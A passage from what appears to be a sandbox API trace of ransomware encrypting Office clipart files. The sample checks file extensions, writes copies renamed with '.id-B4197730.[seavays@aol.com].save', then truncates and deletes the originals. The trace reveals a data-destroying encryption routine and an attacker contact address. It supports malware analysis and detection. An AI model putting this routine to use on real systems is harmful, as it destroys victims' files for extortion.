Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.476] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.476] lstrlenW (lpString=".doc") returned 4 [0175.476] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.477] lstrlenW (lpString=".docx") returned 5 [0175.477] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0175.477] lstrlenW (lpString=".pdf") returned 4 [0175.477] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.477] lstrlenW (lpString=".xls") returned 4 [0175.477] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.477] lstrlenW (lpString=".xlsx") returned 5 [0175.477] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0175.477] lstrlenW (lpString=".ppt") returned 4 [0175.477] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.477] lstrlenW (lpString=".zip") returned 4 [0175.477] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.477] lstrlenW (lpString=".rar") returned 4 [0175.477] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.477] lstrlenW (lpString=".bz2") returned 4 [0175.477] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.477] lstrlenW (lpString=".7z") returned 3 [0175.477] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.477] lstrlenW (lpString=".dbf") returned 4 [0175.477] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.477] lstrlenW (lpString=".1cd") returned 4 [0175.477] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0175.477] lstrlenW (lpString=".jpg") returned 4 [0175.477] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.478] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.478] lstrlenW (lpString="PARNT_09.MID") returned 12 [0175.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.479] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=6764) returned 1 [0175.479] CloseHandle (hObject=0x370) returned 1 [0175.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 0x220 [0175.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.480] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.480] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0175.481] GetLastError () returned 0x0 [0175.481] ReadFile (in: hFile=0x370, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1a6c, lpOverlapped=0x0) returned 1 [0175.483] WriteFile (in: hFile=0x524, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1a70, lpOverlapped=0x0) returned 1 [0175.484] ReadFile (in: hFile=0x370, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0175.484] WriteFile (in: hFile=0x524, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0175.485] SetEndOfFile (hFile=0x524) returned 1 [0175.485] CloseHandle (hObject=0x524) returned 1 [0175.485] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.485] SetEndOfFile (hFile=0x370) returned 1 [0175.490] CloseHandle (hObject=0x370) returned 1 [0175.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0175.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.491] lstrlenW (lpString=".doc") returned 4 [0175.491] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.491] lstrlenW (lpString=".docx") returned 5 [0175.491] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0175.492] lstrlenW (lpString=".pdf") returned 4 [0175.492] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.492] lstrlenW (lpString=".xls") returned 4 [0175.492] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.492] lstrlenW (lpString=".xlsx") returned 5 [0175.492] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0175.492] lstrlenW (lpString=".ppt") returned 4 [0175.492] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.492] lstrlenW (lpString=".zip") returned 4 [0175.492] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.492] lstrlenW (lpString=".rar") returned 4 [0175.492] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.492] lstrlenW (lpString=".bz2") returned 4 [0175.492] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.492] lstrlenW (lpString=".7z") returned 3 [0175.492] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.492] lstrlenW (lpString=".dbf") returned 4 [0175.492] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.492] lstrlenW (lpString=".1cd") returned 4 [0175.492] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.492] lstrlenW (lpString=".jpg") returned 4 [0175.492] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.493] lstrlenW (lpString=".doc") returned 4 [0175.493] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.493] lstrlenW (lpString=".docx") returned 5 [0175.493] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0175.493] lstrlenW (lpString=".pdf") returned 4 [0175.493] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.493] lstrlenW (lpString=".xls") returned 4 [0175.493] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.493] lstrlenW (lpString=".xlsx") returned 5 [0175.493] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0175.493] lstrlenW (lpString=".ppt") returned 4 [0175.493] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.493] lstrlenW (lpString=".zip") returned 4 [0175.493] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.493] lstrlenW (lpString=".rar") returned 4 [0175.493] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.493] lstrlenW (lpString=".bz2") returned 4 [0175.493] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.493] lstrlenW (lpString=".7z") returned 3 [0175.493] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.493] lstrlenW (lpString=".dbf") returned 4 [0175.493] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.493] lstrlenW (lpString=".1cd") returned 4 [0175.493] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68 [0175.494] lstrlenW (lpString=".jpg") returned 4 [0175.494] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.494] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.494] lstrlenW (lpString="PARNT_10.MID") returned 12 [0175.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.496] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=5393) returned 1 [0175.496] CloseHandle (hObject=0x370) returned 1 [0175.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 0x220 [0175.496] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0175.496] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.497] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0175.498] GetLastError () returned 0x0 [0175.498] ReadFile (in: hFile=0x370, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x1511, lpOverlapped=0x0) returned 1 [0175.867] WriteFile (in: hFile=0x524, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x1520, lpOverlapped=0x0) returned 1 [0175.869] ReadFile (in: hFile=0x370, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0175.869] WriteFile (in: hFile=0x524, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0175.869] SetEndOfFile (hFile=0x524) returned 1 [0175.869] CloseHandle (hObject=0x524) returned 1 [0175.869] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0175.869] SetEndOfFile (hFile=0x370) returned 1 [0175.872] CloseHandle (hObject=0x370) returned 1 [0175.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0176.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.049] lstrlenW (lpString=".doc") returned 4 [0176.049] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.049] lstrlenW (lpString=".docx") returned 5 [0176.049] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0176.049] lstrlenW (lpString=".pdf") returned 4 [0176.049] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.049] lstrlenW (lpString=".xls") returned 4 [0176.049] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.049] lstrlenW (lpString=".xlsx") returned 5 [0176.049] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0176.049] lstrlenW (lpString=".ppt") returned 4 [0176.049] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.049] lstrlenW (lpString=".zip") returned 4 [0176.049] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.049] lstrlenW (lpString=".rar") returned 4 [0176.049] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.050] lstrlenW (lpString=".bz2") returned 4 [0176.050] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.050] lstrlenW (lpString=".7z") returned 3 [0176.050] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.050] lstrlenW (lpString=".dbf") returned 4 [0176.050] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.050] lstrlenW (lpString=".1cd") returned 4 [0176.050] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.050] lstrlenW (lpString=".jpg") returned 4 [0176.050] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.050] lstrlenW (lpString=".doc") returned 4 [0176.050] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.050] lstrlenW (lpString=".docx") returned 5 [0176.050] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0176.050] lstrlenW (lpString=".pdf") returned 4 [0176.051] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.051] lstrlenW (lpString=".xls") returned 4 [0176.051] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.051] lstrlenW (lpString=".xlsx") returned 5 [0176.051] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0176.051] lstrlenW (lpString=".ppt") returned 4 [0176.051] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.051] lstrlenW (lpString=".zip") returned 4 [0176.051] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.051] lstrlenW (lpString=".rar") returned 4 [0176.051] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.051] lstrlenW (lpString=".bz2") returned 4 [0176.051] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.051] lstrlenW (lpString=".7z") returned 3 [0176.051] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.051] lstrlenW (lpString=".dbf") returned 4 [0176.051] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.051] lstrlenW (lpString=".1cd") returned 4 [0176.051] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 68 [0176.051] lstrlenW (lpString=".jpg") returned 4 [0176.051] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.052] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0176.052] lstrlenW (lpString="SUMER_01.MID") returned 12 [0176.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.788] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=14044) returned 1 [0176.788] CloseHandle (hObject=0x544) returned 1 [0176.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 0x220 [0176.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.790] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0176.791] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0176.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0176.792] GetLastError () returned 0x0 [0176.792] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x36dc, lpOverlapped=0x0) returned 1 [0176.794] WriteFile (in: hFile=0x534, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x36e0, lpOverlapped=0x0) returned 1 [0176.796] ReadFile (in: hFile=0x544, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0176.796] WriteFile (in: hFile=0x534, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xec, lpOverlapped=0x0) returned 1 [0176.796] SetEndOfFile (hFile=0x534) returned 1 [0176.796] CloseHandle (hObject=0x534) returned 1 [0176.796] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0176.796] SetEndOfFile (hFile=0x544) returned 1 [0176.800] CloseHandle (hObject=0x544) returned 1 [0176.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.800] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.803] lstrlenW (lpString=".doc") returned 4 [0176.803] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.803] lstrlenW (lpString=".docx") returned 5 [0176.803] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.803] lstrlenW (lpString=".pdf") returned 4 [0176.803] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.803] lstrlenW (lpString=".xls") returned 4 [0176.803] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.803] lstrlenW (lpString=".xlsx") returned 5 [0176.803] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.803] lstrlenW (lpString=".ppt") returned 4 [0176.803] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.803] lstrlenW (lpString=".zip") returned 4 [0176.803] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.803] lstrlenW (lpString=".rar") returned 4 [0176.803] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.803] lstrlenW (lpString=".bz2") returned 4 [0176.803] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.803] lstrlenW (lpString=".7z") returned 3 [0176.803] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.804] lstrlenW (lpString=".dbf") returned 4 [0176.804] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.804] lstrlenW (lpString=".1cd") returned 4 [0176.804] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.804] lstrlenW (lpString=".jpg") returned 4 [0176.804] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 68 [0176.804] lstrlenW (lpString=".doc") returned 4 [0176.804] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.804] lstrlenW (lpString=".docx") returned 5 [0176.804] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.804] lstrlenW (lpString=".pdf") returned 4 [0176.804] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.804] lstrlenW (lpString=".xls") returned 4 [0176.804] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.804] lstrlenW (lpString=".xlsx") returned 5 [0176.804] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.804] lstrlenW 